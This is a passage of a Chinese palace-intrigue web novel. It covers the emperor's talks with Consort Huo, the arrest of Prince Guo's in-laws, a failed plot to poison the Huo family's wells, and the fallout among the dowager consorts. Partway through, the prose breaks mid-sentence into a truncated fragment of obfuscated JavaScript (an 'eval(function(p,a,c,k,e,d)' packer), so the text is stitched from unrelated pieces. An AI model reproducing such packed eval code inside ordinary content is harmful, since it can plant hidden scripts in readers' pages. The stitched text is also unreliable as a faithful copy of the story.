霍海啸没什么反应,薛侍郎叹息,他大概也能猜出来,哪怕鞠家确凿了鞠太妃的十皇子不是霍家害得,是鞠家报错仇反而对不住霍家,郢国公也不会想就此事向霍家负荆请罪,甚至郢国公可能都不会想有对不住霍家这档事,郢国公为人其实不怎么样。 偏偏鞠家多年来名声甚好,显国公心中摇头,他还真有些错看郢国公了。 膳毕,他们再一起去魏王府走个过场。 而魏王府传出来的消息投入官眷圈,一石激起千层浪。 太上皇在午后回太微宫,皇帝多留两刻钟后派人去知会皇后准备回宫了,郭皇后不肯,态度更强硬:“皇儿都还没醒过来呢,陛下还有点为父之心吗?” 好些人在魏王府了,美其名曰来探望,原牧炽都在,他若不来,护国公夫人就要出面,还不如他来。蒋厚运委婉回禀也没兜住,皇帝要郭皇后的原话,蒋厚运遂在众目睽睽下复述出郭皇后的原话,霍秦川腹诽,这一定是赖嬷嬷提点皇后的。 霍雄鹰跟他哥和晏霁之歪歪唧唧:“那外祖家有心,还没来呢。” 显国公也懒得置喙,他弟薛侍郎找圈没看见晋王,心中微叹,晋王是真什么都不懂啊,庄太妃被软禁又如何,你就大大方方再来趟嘛,消失不过是让人看你软弱。 武襄侯看虢王府始终没人来露过面,暗暗看了眼原牧炽,转眼,和晏副相的视线相撞。晏副相有点唏嘘,武襄侯大约在斟酌该让护国公思量切断与虢王府的姻亲了。 这些年,武襄侯替原牧炽和原家操心得着实不少了。 薛述嘉跑来凑热闹的,魏王府这消息可算把他惊吓到了,他难以置信地跑来打探打探,这会儿仍有点心有余悸地看向他大哥,薛述聪一掌拍上扭过弟弟的脸。 薄尚书细想来,惊觉郭皇后和建威侯府明面上行事竟然都是妄想拿捏君上。 他看向身边的同僚,祖博士苦笑,几位老大人自嘲,一年多了,眼拙啊。 多数人还算平和,已经受过冲击了,心里有底了。但看好郭皇后和大皇子前途可期而和建威侯府交好的人真有些恼恨了,建威侯昏头了啊,这样的女儿都不思管教,就这还想争,郭家做什么白日梦,深层的,或许是对自己看走眼的懊恼吧。 “霁之,朕该回宫了还是该等到大皇子醒来?”皇帝往庭下扫过眼,点名。 “臣建议陛下即刻起驾。”晏霁之肃然道:“否则,教唆皇后污蔑陛下对大皇子没有为父之心能把郭后身边的赖嬷嬷全家都杖毙了,大皇子还未醒,就别见血了。” 一些人看向他,霍雄鹰讶异,晏霁之比他还有胆色。 皇帝认可:“卿家言之有理。”交代魏王:“劳烦皇兄将赖嬷嬷母女杖刑二十。” 班丞相忽就想是郭后还不知道痛,辞位还不如打她几十板来得能让她痛。 人,不知轻重至此!班丞相再笑自己糊涂啊竟然四年多都没看明白。 御前总管蒋厚运想起前两天陛下吩咐把照料大皇子的宫人杖打十板,赖姑姑是大皇子的奶娘第一个就该受杖刑,可郭皇后硬是保住了赖姑姑没受板子。 等下还不知要怎么闹呢,蒋厚运想今日魏王府的热闹是断不了了。 魏王颔首应承,正徽帝嬴忱璧起驾,众人恭送过陛下后向魏王告辞。 虽然散衙还早但都打算各回各家的两位吏部侍郎被薄尚书抓住,跟他回吏部,虢王妃的娘家人晌午前就来吏部闹了,他一个老人家,双拳哪能敌四手?! 晏霁之遂把被滕王绊住还没撤走的原牧炽拽上,滕王若愿意也可一起去趟吏部。原牧炽翻白眼,好在没甩脱晏霁之。薛侍郎默默去揪住侄儿薛述嘉,薛述嘉无语:“你们怕什么,打出去不就完事了,虢王明目张胆打圣人的脸,圣人还能向着他吗?” “所以呀,待会儿若在吏部打起来,你们做个见证。”晏霁之道。 薄尚书率队走,霍雄鹰叼根草嫌这群人怂:“不就料理虢王妃的娘家人,还要找外援,晏霁之他也不嫌寒碜。瞧虢王,昨夜膈应圣人还不够,今天连着膈应,圣人不想削削虢王都是好性儿了还能给他好脸,打就打了,至于怕虢王告状吗?” 没有虢王撑腰,虢王妃的娘家人敢闹吗? 多少人过来魏王府探望了,虢王府愣是没人来露脸,还能不是诚心膈应人吗? 就虢王府这事做的,乐邑长公主都被气笑了,虢王居然也这么上不得台面。 霍海啸带霍雄鹰走远了,才道:“晏霁之要将这群闹事的下狱。” 刚还嫌人家怂的霍雄鹰叼的草掉了:“啊?” 霍海啸教道:“虢王非得让岳家学做苍蝇,晏霁之能不给虢王回礼吗?” 薛述聪瞥瞥滕王,犹豫两转还是没问他验证的情况,带着乐邑回家了。 走慢些的大人在魏王府外瞧见急驰而来的建威侯府的马车,好几位摇头,大皇子的老师祖博士犹豫下没有走回头路,道不同不相为谋,他是教不了大皇子了。 建威侯府永远不会知道郭皇后今日毁掉的是什么。 銮驾驶入皇城,皇帝又护送太后回长春宫,霍灵渠在长春宫门前相迎,见到皇帝还在,忍住小情绪陪姑母回殿阁。果然,皇帝问候过太后安康,带霍贵妃走了。 “殿选那日,贵妃帮朕宣布让郭氏搬出椒房殿,入住怡华宫;今年上半年,嫔妃不必再给皇后晨省,大皇子八岁生辰前不必再去拙曜堂读书。” 长春宫能谈话的去处很多,皇帝还是带贵妃来她暂住的偏院,大概也觉得这里宁静吧。宫人们搬来罗汉床放在廊前又备好茶点后尽数退下,紫檀木罗汉床的小几上摆了花瓶,花瓶装有三两新鲜杏花枝,霍灵渠将取杏花枝赏玩时闻此言,看向皇帝。 嬴忱璧自嘲:“她曝出太子良娣四字时朕不意外,但朕真想不到她还能无所顾忌地当众曝出她的皇儿还要做皇帝,贵妃定在笑话朕吧,朕都想嘲笑自己。” “我没有笑话谁,我只是有些理解了你对她的看顾。”霍灵渠语音偏低沉:“若今日你还愿意顾及她,纵使你想不到她随你和太上皇同往魏王府会惹出多大麻烦,但,必会有麻烦,你会让她在获悉大皇子遇刺客时晕厥过去,晚些,让她独自去魏王府。” 嬴忱璧未语,似在估量霍贵妃像不像在怜悯施舍他,可皇帝怎能被施舍? “你有没有想过…你的责任?”霍灵渠小心进言,嬴忱璧抬头看向霍贵妃,霍灵渠犹如受到鼓舞般展笑,她虽然想劝劝皇帝,但更不想被皇帝小心眼记恨。 “你想有个温暖的家,你应该板正郭氏而非一味放纵她,你既放纵她,就没资格怨她,是你不会管教妻室才令你落得一场空,跟她能有什么关系?你自愿付出而没有得到回报更是你一个人的因果,你没有得到你想要的温馨是你自己的责任。” “贵妃真知灼见。”嬴忱璧眼中似有木然,当他多心,霍贵妃没有怜悯施舍他。 “但你真不会管教。”霍灵渠感触深刻:“你对你生母娘家的态度跟你对郭氏如出一辙,你想留住芮家,你却不思让芮家走正途反而一味包庇他们的恶行乃至放纵他们践踏你,待到留不住了,你只管一撒手就不管他们的死活了,这与捧杀有何区别?” 一丝苦涩侵染,嬴忱璧扯扯嘴角,没说话。 霍灵渠握着杏花枝抚抚花瓣,想待皇帝沉淀静思下后谈朱太妃的事时意识到她的错处,再看向皇帝,有点五味杂陈:“陛下,陛下教育不了他们,对吗?” 嬴忱璧心头软肉微颤,皇帝他坐得笔挺,淡看庭前桔梗花,仿佛没入耳。 “对,教育不了,你若想管教他们只会被怨恨,被教育对他们是束缚,他们是丁点束缚都不愿忍受的。以郭氏和忠毅伯的性情,对他们唯有压制和不压制两种情形。” 霍灵渠感悟道:“若压制,包括你费心教育想板正他们,你得到的只会是他们的反扑,你和他们做不成亲人唯有做仇人。若不压制,他们受不得丝毫束缚,你不顺他们的意都会招致怨怼,那么唯有放纵,待你精疲力尽彻底心凉时放手。” 嬴忱璧仍然不语,霍灵渠致歉:“陛下的做法是最好的,再没有更好的做法了,刚才,是臣妾想得不够透彻才误解您了,陛下莫往心里去。” 皇帝骤然心酸,面上丝毫未显,更像是打定主意装哑巴了。 “把二公主送走吧。”霍灵渠明眸浅笑,皇帝看向霍贵妃,眼前的女人似比阳光温暖能抚平心底最深的伤:“孩子才三岁多,记不了多少事的,大皇子这岁数若送不走了,至少把二公主送走;你们夫妇再难善终,若能让孩子在寻常百姓家长大,对她好。” 嬴忱璧凝视霍贵妃许久,是一种略带审视的正常注视,霍灵渠没想法,只是皇帝考量久得让人心累,皇帝这疑心病也太重了,她自觉耐心好都忍不住喊:“陛下?” 天知道嬴忱璧在想什么,皇帝这是纯粹看霍贵妃看得陷进去了。 “朕会考虑。”嬴忱璧道貌岸然:“贵妃喜欢几个皇儿?” 嗯?霍灵渠没懂:“陛下是问我喜不喜欢小婴儿,会对翁嫔的小皇子好吗?” 是你喜欢几个皇儿,我们将来就生几个,当然嬴忱璧很清楚这话题还不能和霍贵妃谈,淡定略过:“贵妃痛恨害你颠沛流离饱经苦难的仇家吗?” “不恨。”霍灵渠脾性好呀,一个话题聊半截戛然而止对她没影响,她捧起茶盅浅啜。嬴忱璧问到答案真说不上什么感觉:“贵妃竟有菩萨心肠?” “我没有菩萨心肠,我只是不恨这个仇人,仇恨一个人很辛苦的。”霍灵渠放下茶盅,澄澈的眉眼犹若雪莲花徐徐绽放,任冬多少苦寒都锁不住春的昂扬生机。 “已被仇家害惨,还要因仇家而让自己甚是辛苦,岂不更是亲者痛仇者快吗?报仇,就是除掉仇人,是件很简单的事。”霍灵渠淡淡含笑犹若流淌着悦耳音律:“这个仇不能不报,恰似人都要饮水,但即使人不饮水不能活,饮水也只是人生中的一件事。 生命中有数不尽的事,大到付出自己的性命、小到养盆花,我觉得根本并没有不同,就是一个人经历的事。人生是自己的,高高兴兴是一天,满心怨恨是一天,何不对自己好些,作甚要把报仇和恨等同起来?报仇是一件要做的事,恨累心累己是辛苦自己。” “两者,我觉得完全不同。”霍灵渠摇头,敬谢不敏啊。 嬴忱璧瞧贵妃一副生怕你要把你的想法强加给我而想缩起来抗拒的架势,忍不住笑了:“前两天,老国丈认为贵妃不恨你的仇人,朕怎么能信呢? 此等深仇怎么可能不恨?原来贵妃是这样想的,报仇就是一件要做的事,恨是累心累己是辛苦自己,仇家害我,我怎能再因仇家而对自己不好,怎么能有这种事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嬴忱璧很清楚会出现这种情形还是有些忍无可忍了:“贵妃没有骂错朕,朕是不自爱,朕对不住自己。朕登基之初再想要稳定都不该让郭氏生第二胎,更该在正徽三年就撒手,而不是又耗两年拖到今年都正徽五年了还要贵妃来点拨朕才幡然醒悟。” 霍灵渠忽想起郭皇后僭越下令要把大皇子身边被扣押的宫人放了,垂眸不语。 第二封奏报只有一行字:工部侍郎翟猛私下回京直入虢王府。嬴忱璧阅过,看第三封,是吏部将在吏部闹事的虢王妃的娘家人下狱了。皇帝凝神半响,笑意莫测。 霍灵渠黛眉微蹙:“陛下在看什么?” “朕在看,晏霁之的锋芒。”嬴忱璧神情玩味,一个帝王的高深尽显:“薄尚书和薛侍郎不会想也不敢把这群闹事者下狱,晏霁之当然会想更敢做,朕猜到了结果。 但朕没有猜到过程,猜中的结果也只有一半。朕没有想到,晏霁之就事论事半点没扩展只以他们在吏部闹事品行不端就敢将人下狱还请刑部往人家家里清查。” “虢王毫无防备啊。”嬴忱璧凤眸溢笑似乎真高兴:“这还能得了吗?” 可架不住晏霁之师出有名啊,被太上皇罢官后敢跑吏部闹事,不怀疑你们家人在仕途时没克己奉公怀疑谁?干脆,让刑部往你们家查一查,查出事,按律清算;没查出事,关三天放人当小惩大诫。霍灵渠看过这份奏疏,怪道:“虢王?” 嬴忱璧立时被击得什么高深都没了,想捂脸,太懂贵妃的疑虑了,他真心想略过这段:“所以,朕明白了,朕想太上皇更是明白了,虢王府何以能窝囊五十多年?” 还真是虢王的意思啊?霍灵渠问:“那么陛下猜的结果是什么?” “清查闹事者也就是虢王妃的娘家人。”嬴忱璧道:“他们经得起查吗?当然经不起,岂料晏霁之当场就往人家家里查,这还能得了吗?”皇帝笑:“朕这位新上任的吏部侍郎啊,今天第一天上任,新官上任三把火,第一把火就烧起来了。” 霍灵渠生出个感觉:“陛下和圣人的本意就是将人下狱清查,在虢王妃的娘家人往吏部闹事时你们就想好如何处置了,趁此之际将虢王妃的娘家拔起?” 嬴忱璧没有否认:“虢王主动送上门来,朕和圣人怎么能不接着?” 霍灵渠若有所思:“霁之在虢王没有防备时往虢王妃的娘家查案又会牵涉多广?” 皇帝答曰:“圣人想牵连多广就能牵连多广。” 这样啊,霍灵渠琢磨着:“会波及虢王妃娘家大嫂的娘家侄儿吗?” 虢王妃娘家大嫂的娘家侄儿?有点绕哈,皇帝嬴忱璧慢半拍才整理出霍贵妃问的是谁,是授康二十三年的状元,丞相的女婿,嬴忱璧俊脸莫名:“贵妃问此人作甚?” “不要波及他。”霍灵渠要求,嬴忱璧神情更诡异了点:“为何?” 霍灵渠看看皇帝有点担忧:“我告诉你,你不能告诉太上皇。” “好!”嬴忱璧满口答应,霍灵渠招招手:“附耳过来。”这是要说悄悄话了,嬴忱璧顺从地弯腰靠近,霍灵渠告之原委,嬴忱璧丹凤眼微眯缓缓吐字:“章醇?”皇帝倏忽又笑:“朕对章醇的感观不错,没想到啊人不可貌相。” 霍灵渠抿抿唇微微低头,嬴忱璧问:“贵妃不想波及那位的用意是?” “不患寡而患不均呀。”霍灵渠笑盈盈抬头,美眸比星星闪亮:“若是此番牵连者甚多而唯独他没事,自然是虢王保下来的,这叫那些被牵连者如何能服气?” 嬴忱璧只觉得贵妃的笑甜到他心里去了:“好。” “太上皇那儿?”霍灵渠顾虑,嬴忱璧安抚:“贵妃有所不知,他是丞相的女婿,圣人本就没想波及他,暂且留着这位不必与太上皇多言。” “嗯嗯。”霍灵渠利落地站起来行礼:“臣妾恭送陛下,您快回去忙吧。” 嬴忱璧:“……”他还想再留会儿的。 皇帝郁闷地走出长春宫,刚在宫道上走几步,内侍来报,虢王夫妇求见。 虢王和他妻儿在吏部都闹翻天了,霍雄鹰等许多好事者都亲自跑吏部看热闹的,可他家闹有什么用?有本事请上意来啊。要不怎么大家都看虢王昏头了呢,居然能耍出这种昏招,再三膈应太上皇,明火执仗打脸太上皇,你当你小孩在跟家长使性子啊。 请上意,看客们猜都不用猜,虢王夫妇肯定铩羽而归。 落日美景姗姗来迟,虢王夫妇尚未回府,昏睡的虢王世子妃朱氏醒来,在虢王府的翟猛得信忙赶到外甥女的病床前,朱氏用她仅剩的独臂抓住舅父,面目狰狞咬牙切齿:“舅父,让他们去死,让他们全部去死,我要把他们碎尸万段。” 郭皇后的凤驾踏着天边最后丝余晖回到皇宫,赖嬷嬷留在魏王府养伤了没有随同回宫,以皇后对赖嬷嬷的恩宠,没人意外,有心人没想到的是郭皇后又早早睡了。 杭修媛在戌时中趁着夜黑来到椒房殿,又白走趟,真有点郁结了。 鞠太妃和戚太妃派人来想给郭皇后吹吹风,同样门都没进,皇后今日事忙已经安置了。鞠太妃被气得够呛,戚太妃在心里骂郭皇后,这么心宽怎么不姓猪啊。 嬴忱璧得到禀告,聊胜于无想,戚太妃挺有闲情。 至于郭皇后就寝早?自然是皇帝想让她早睡,私下痛骂若被撞破,太难看了。 亥时一刻,嬴忱璧来到太妃宫苑外,派人知会过朱太妃,皇帝他再进门。 寝屋门被推开,靠在床头的朱太妃想下来行礼时,嬴忱璧示意朱太妃养伤吧无妨,皇帝没坐就站着,开门见山:“朕的意思,厚运转达给太妃了吧?” 朱太妃心绪难宁,皇帝认为等她堂妹醒来,绝对容不得她活着,她信,那堂妹的德行,右臂被砍了还不得发疯吗,变成条疯狗还能不逮着人就咬吗? 可皇帝愿意保她是要她背叛朱家,那纵使她逃过这回,以后又该怎么办? “莫非,太妃觉得你还能从昌隆侯夫妇手中保下一命?”轻蔑从头顶上空传来,朱太妃霍然抬头,嬴忱璧失笑:“女儿这点心愿,昌隆侯夫妇还会不依吗?” 不会!朱太妃攥紧拳头。 嬴忱璧问:“鞠太妃的十皇子可是你害的?” “陛下这是何意?”朱太妃按住疑虑应对:“这是霍家——” “不是霍家,朕才问你。”皇帝道,朱太妃微愣:“不是霍家,这怎么可能?” “不是你?”嬴忱璧打量她,朱太妃好笑:“陛下,我害鞠太妃的十皇子作甚?” “朱家女在圣人后宫残害的皇嗣可不少了。”皇帝提醒,朱太妃一噎,痛快认了:“是!朱家女不能生、见不得别的嫔妃生,可我们动的是没出生和刚出生没满月的皇嗣,鞠太妃的十皇子都两岁多了,我们若想动心思何必拖到十皇子二岁多? 何况当时圣人抬举着鞠家,我们怎么可能那么没分寸,否则吴王、简郡王、乐阳这几个小的哪儿来的?甚至于,朱家女若是不懂分寸,圣人还能容许我们活着吗?” 嬴忱璧沉默稍许问:“太妃有没有想过朱家女替庄氏承担了多少笔血债?” 朱太妃怔住:“庄太妃?” “朕明白,太妃一时间难以做决断,你慢慢思量,两天内给朕个答复,不必派人来送信,让朕看到你的诚意即可。夜深了,朕不叨扰了,太妃养伤吧。” 语毕,嬴忱璧带他的御前总管往外走,蒋厚运刚就做了半响的木桩子。 朱太妃真头疼了。 围在屋外偷听的太妃们在皇帝走远消失后纷纷冒出来,大家就近来到田太妃的屋里,烛影恍惚,燃烧的仿佛不是烛油而是她们的心火,鞠太妃心绪起伏得厉害。 田太妃想到个可能,会不会她和朱太妃都被骗了?朱太妃以为是她害的她,她也以为是朱太妃得手了,其实朱太妃的暗害,她很可能防住了,她没有防住的是庄太妃。 阮太妃想笑,笑得凄厉,笑得满目泪花,她一直在效忠的人可能会是害她亲骨肉丧命的祸首吗?她居然一直在替仇人冲锋陷阵,她可真是死了都无颜见孩儿。 “朱家女是不能生才残害皇嗣,庄太妃都生四个了,作甚还冒着大风险残害皇嗣呀?”何太妃心颤颤地抖出疑惑,田太妃笑起来,笑得都要哭了:“争储呀。 庄家扶不起来,庄太妃可不就得在后宫费尽心思吗,圣人是有十个皇子对她有好处还是圣人有二三十个皇子才对她有利不是一目了然吗?” “啪!”鞠太妃重重一掌拍在桌上,怒火旺得都快要把这间屋烧了。 慈寿宫的主殿寝阁中,被软禁的庄太妃镇定自若,不论是在强撑还是自欺欺人,今早有多不安,被软禁后,庄太妃反而冷静下来了,皇帝和魏王这就想钉死她了?呵,圣人若是知道你们在向群臣散播太上皇想求长生,不知圣人还能否容忍你们?! 132. 第132章 夜静谧,皇帝嬴忱璧返回帝王起居的皇极宫,收到宫外的消息,微微僵住了。 穆国公都有点被憋住,还没遇到过这么简单粗暴的手法,唯独太上皇再被气着了。 丑时末夜深漆黑,最是好梦时分,霍海啸把霍巨浪从被窝里搞起来。 霍巨浪秉持被老兄欺负了要从老弟那里找补回来的原则再去把霍雄鹰从被窝里搞起来,霍雄鹰要爆发了,被黑心的大哥告知因为何事后,霍雄鹰彻底暴走了。 天蒙蒙亮,皇城门开启,穆国公霍秦川浑身散发着闲人莫近的肃杀,带着群贼人进皇宫求见皇帝。同个时间,老穆国公霍擎迈进太微宫求见太上皇。 旭日出云端,一大清早,郭皇后出宫赶往魏王府看她的皇儿,皇帝留在宫中没有同往。和昌隆侯府交好的人家前往虢王府探望虢王世子妃朱氏,原牧炽都去走了趟。 护国公府和虢王府毕竟是姻亲,护国公夫人要去虢王府慰问,原牧炽只得挺身而出,去走个过场,省得护国公夫人被虢王府欺负。 他带小妹到地儿,扔下补品,别说看望伤患了,他没给虢王府妄想欺客的刁奴两记拳头就不错了,从进门到出府不到两刻钟。 梅斗先生下帖邀英王世子临湖小酌,晏霁之赴会了。 湖光山色,琴音绕梁,还有一美人兮千娇百媚,此地似乎格外令人心旷神怡。 晏霁之赏景,梅斗先生煞风景:“世子,可想过晏家的前路?” “你昨日又何不拦着虢王?”晏霁之颇有反谴责意味。 谁能想到您老能把人下狱啊,下狱关三天也罢了,你居然还能把人家的家彻底查抄了!梅斗压压心里的浮躁,引导道:“世子该当清楚,你在点火~药桶,你把虢王妃的娘家抄了,霍家还能不乘势而上吗?若是由着霍家查将会牵连多少? 以圣人对朱家的厚爱,还有恒山王在,虢王倒不了,那么虢王不消火,此事还能了吗,虢王的火又会是晏家来担还是霍家承担不是很清楚吗?”他断定道:“虢王损失多少,一定会从晏家连本带利地讨回去,世子聪慧,何必给他人做嫁衣?” 晏霁之不同意:“虢王倒不了与虢王不消火有关系吗?” 梅斗端详他,顺势问:“莫非世子觉得,这笔账,虢王还讨不回来吗?” “以虢王昨日行事,心智几岁?”晏霁之淡淡笑,梅斗忍住,但还是没忍住被带偏了:“就算虢王可能讨不回来,我家侯爷难道还讨不回来吗?” “昌隆侯和虢王这姻亲做的可堪比陌生人,昌隆侯替虢王出头,是想告诉圣人,他喜欢热脸贴冷屁股还是他们两个在装?”相较于初次交锋,晏霁之今日着实温和。 “可你蹚这趟浑水对你和晏家有什么好处?”梅斗找回自己的节奏轻松反击:“世子总不想有声音传入陛下耳中,指你是因心系霍贵妃才替霍家冲锋陷阵吧?” “流光离开我还不足俩月,我心念之在情理中,陛下自己理亏,能体谅。” “但世子总该替家族想。”梅斗精准击靶心:“晏家这三十年来聚敛锋芒不与人争强,行事多谦和避让乃至宁可自家吃点亏,你却是锋芒过盛与家族意志背道而驰。 你可以把虢王和我家侯爷都不看在眼中,晏家的将来呢?你锋芒毕露,看在太上皇眼中会是什么,太上皇看着你是你还是三十多年前压在他头上的摄政王、你的曾祖父?世子,若是两位至尊觉得你将会是你曾祖父第二,晏家还能有前路吗?” 晏霁之低头装黯然,梅斗还没再接再厉,小厮跑到凉亭前报:“先生,先生,出事了,大姑奶奶她、她把今早去探望她的官眷和姑爷一众妾室的手臂给砍了。” 靡儿姑娘讶然抬头,亭中琴音戛然而止。梅斗一瞬间简直不可思议,三人皆看向小厮,梅斗先生难以置信地求证:“你再说遍,大姑奶奶做什么了?” “大姑奶奶把今早去看望她的官眷和姑爷一众妾室通房的手臂给砍了。”小厮要哭了:“先生您快拿个主意吧,虢王和姑爷都快要翻脸了。” 梅斗被气得差点没背气过去,冷静下,跟英王世子告辞,赶回去收拾烂摊子。 晏霁之走到凉亭前,忽有女子的娇音传来:“晏公子,这一局,孟先生败在何处?” “他没有亲自来。”有人问,晏霁之就答了。 “既已定计,孟先生不在京中又何妨?”酒靡儿不以为然。 “他的计策太大,除他和昌隆侯之外朱家一系中无人能再掌控住大局,他远在千里外,一旦遭反噬便会令他溃不成军。”晏霁之品味着虚怀若谷四字真言,孟怋乂此计遭反噬下的溃败是因他没有亲自来坐镇,根源呢?还是失掉了谦逊谨慎吧。 “晏公子,倒是不同。”酒靡儿感喟。 晏霁之看向这位江南名妓,酒靡儿恬雅从容倒像大家闺秀:“贵胄公子,我见过很多,平易近人的贵公子甚少,看待我如寻常陌生人一般的,少之又少。” “经历得多了吧。”语毕,晏霁之颔首告辞。 酒靡儿浅浅屈膝还礼。 四月的天还未热,虢王府大宅前摩肩接踵,舆情的浪潮已然热起来了。 霍雄鹰和原牧炽凑作堆围观,一个比一个有心得地想打进去!原牧炽火大了,若非今早他拦住了,是他来走个过场而非护国公夫人来探望,护国公夫人还能逃得过吗?! 原牧蔷小姑娘抓着哥哥的手臂,心有余悸,打定主意以后能不沾虢王府就不沾了。 行知借着人群掩护挨到表弟身边听到个准信,松口气,再挪过去找霍枫叶。 “查抄虢王妃的娘家,霍家预计将会清算多少?” “你以为我为何来看热闹?”霍枫叶神情冷酷:“霍家昨夜被放毒了!往水井里放,打量着不能把姓霍的全部毒死也要弄死大半,我陪霍雄鹰在等全城的泻药。” 行知微怔,旋即了然:“翟猛和虢王想逼迫太上皇舍掉霍家。” 梅斗先生赶到时恰遇上刑部将翟侍郎五花大绑地绑走,险些头晕,赶忙进府去找虢王,到底什么情况,外甥女砍掉官眷的手臂跟翟侍郎这舅舅有什么关系? “谁知道圣人着什么魔了竟然宁可把朱家踩下去都要偏向霍家?!” 虢王自己都火大得快要爆裂了,翟猛都被下狱去了啊!刑部来抓人,他简直不可思议,翟猛可是昌隆侯的小舅子!他都想冲到太微宫看看圣人是不是被五通神附体了。 “着什么魔?”梅斗怒极而笑,虢王和翟侍郎可真有才:“怕是虢王爷你昏头了吧,你们在做甚,逼太上皇做抉择,霍家和朱家只能留一家,逼太上皇只能留朱家,虢王爷你不觉得荒谬?你们能忍得了被人这么逼迫吗,何况你们逼迫的那位是太上皇! 太上皇有何不能舍掉朱家,太上皇连亲儿亲兄弟都能杀,朱家不过一个外祖家,太上皇有何不能舍掉?何况敢如此逼迫君上,若不严惩,今后若是人人都有样学样还能得了吗?!哪怕太上皇愿意看在侯爷的面上饶过翟猛,皇帝都不能答应!” 虢王心下一慌,书房门突然被撞开惊得他差点吓跳,护卫报:霍家打来了! 霍家打来了?这是何意?虢王不太懂地找援助,梅斗根本不想搭理,把虢王推出去,让虢王自己去应对,都敢对霍家下这样的杀手了居然还没想过霍家的回击?! 犹如赶鸭子上架的亲自出面,虢王走到客堂前,迎面撞见霍雄鹰气势汹汹地带人闯入,他再不可思议了一瞬,一时竟没反应。霍雄鹰真无语,你好歹叫嚣句这可是亲王府! “昨夜,翟猛干的勾当有虢王你一份吧!虢王府和朱家当真亲厚了,我霍家不嫌麻烦,虢王爷你就好好祈祷你和你家亲友全都经得起彻查吧,来啊,给虢王爷送点利息。”霍雄鹰大手一挥让护卫们去撒泻药,水井池塘湖泊,只要有水的全部撒上。 “你,你、你们霍家怎敢——”虢王如梦初醒般暴怒起来,霍雄鹰鄙薄:“你什么你,你没看见我都派人去做了,想告状去向圣人和陛下告状啊又没人拦着你,去啊,虢王爷不是窝囊得只会背地里害人,人前被打上门来了还都只会忍着吧?” 被如此羞辱,虢王还能忍就出奇了:“来人!把这些姓霍的给本王轰出去!” 轰…出去?梅斗被滞怠下,他就不该抱希望,霍雄鹰都要嫌没用死了。 两家护卫们打起来,霍雄鹰动动手腕朝虢王走去,虢王大惊,妻儿被霍雄鹰暴打的场景浮现,他没忍住,临阵跑了。霍雄鹰受不了了,这好歹是个亲王怎么就能这么废? 霍枫叶走向梅斗,笑意粲然:“梅斗先生,悬崖勒马,犹未晚矣。” 梅斗神情莫测地看着他,霍枫叶没再多言,转身往回走。 霍家的护卫们把虢王府的护卫全打趴下,把泻药洒尽后,霍雄鹰收队,走人! 梅斗目送霍家人远走,瞟向被打得满地乱嗷的虢王府护卫,他默下,没再找虢王,转而去找虢王世子妃——朱家大姑奶奶,消停些吧,再胡来都要把侯爷搭进去了。 消息传入皇宫,田太妃沉吟下就去向鞠太妃提议:她们给朱太妃添把火。 朱太妃刚派下人再去打探,她相信这堂妹会变成条疯狗逮着人就咬也不敢相信她竟敢如此肆无忌惮啊,一群太妃蜂拥而至,七嘴八舌更闹得她头昏脑涨:“好了!” 众人包括鞠太妃在内都闭嘴,除鞠太妃外,装得都还如从前那般对她恭顺,朱太妃随便抓个太妃再求证:“你们说的真是真的,这种事你们若是胆敢骗我——” “啊呦朱姐姐,这种事,谁敢瞎编谁又瞎编得了啊,火烧眉毛了,虢王世子妃疯魔了,她心里恨,砍丈夫的小妾,大家还能谅解,可她竟然连和朱家交好的人家都砍啊。” 曹太妃音调掐尖甚是刺耳:“这以后、以后谁还敢和侯爷和朱家往来呀,朱姐姐,这可关系到整个朱家,您赶紧拿个主意,可不能再由着您堂妹胡来了。” 没疯魔,容不得别人好过而已!朱太妃猜都猜到了,不就是那堂妹自己的手臂被砍了,她就绝不容许别人再好过嘛,不管是不是奉承她的,她都容不下了。 “太妃,太妃!”宫女喘着粗气进屋禀告:“翟侍郎被投入刑部大狱了。” “什么?”众位太妃皆是一惊,她们还只收到虢王世子妃砍掉几个官眷手臂的消息呢,鞠太妃抢先问:“翟侍郎犯什么事了怎么会突然被投入刑部大狱?” “翟侍郎昨夜派人往霍家的水井里投毒,想把霍家人全都毒死。”宫女惊呼道。 鞠太妃安静住了,太妃们都安静了,她们相互看看,朱太妃还没转过弯来,田太妃道:“还有什么消息,外头有没有流传出翟侍郎做这事的缘由?” “有有有。”婢女忙道:“穆国公和老穆国公今早面圣就是为此事,霍家料定虢王世子妃和翟侍郎不能善罢甘休,一点不敢松懈,派人紧盯着,昨夜虢王世子妃醒来,翟侍郎和虢王昨夜定下计划,霍家全都收到消息了,所以昨夜才防住了。 老穆国公传出来的话是,翟侍郎就是要逼迫圣人做决断,他派人给霍家下毒,虽然大概不可能把霍家人全害死,但也足够了,霍家和朱家结死仇,他就不信圣人还能向着霍家还能任由霍家把朱家歼灭了?!所以,圣人就把他扔进大狱了。” 这转折得真是,许多位太妃莫名被噎下后真痛快,活该!朱太妃都嫌翟猛自作孽活该,这甥舅两个都狂得没长脑子了是吧,活腻了啊敢这么去逼迫圣人?! “但是没想到,”婢女还没说完呢:“刑部去抓人,在翟侍郎的书房发现了要命的东西,翟侍郎在和契丹往来,是通敌卖国,所以,圣人和陛下把他全家都下狱了。” 太妃们:“……”你还有这么个大消息你别大喘气呀。 “宫外还有没有别的消息?”朱太妃问。 “有有有,刑部一直在抓人,好几个与侯爷交好的大人被下狱了。”宫女觑着朱太妃,缩缩脖子略怯弱:“这些大人的家眷今早都被虢王世子妃砍掉手臂了。” 朱太妃心头一沉,这种当口,这几人不反咬朱家一口怕是难了,她真是,真是都想剁了这甥舅两个,还不就是这舅舅和外甥女一样的心思嘛,几条朱家的看门狗罢了,看门狗,朱家要多少有多少,他们家眷的手臂砍就砍了,还能翻出什么水花来吗? 田太妃注视着朱太妃,隐蔽地退两步让人给她挡着些,她给阮太妃写几个字。 “朱姐姐!”阮太妃一惊一乍的仿佛刚想到:“翟家若是没了,您四婶?” 绝不会放过她?!朱太妃脑海中陡然冒出这句话,她定定神让自己莫自己吓自己,可,那堂妹已经变成条疯狗,翟家若再出事,这四婶还能不恨得见缝插针地泄恨吗? “你们下去,全都下去。” 这个你们包括她们这些太妃吧,鞠太妃她们瞧瞧她,各自在心里嗤笑着往外走。 许多大人仍犹疑地就此事找穆国公确认,翟猛不至于出这种自杀式的杀招吧,翟猛平常没这么傻啊。穆国公霍秦川装正经:“所以说人家的祖宗有本事啊,这先见之明谁能比,给他取名猛,放眼朝堂,还能有比他更猛的人吗?” 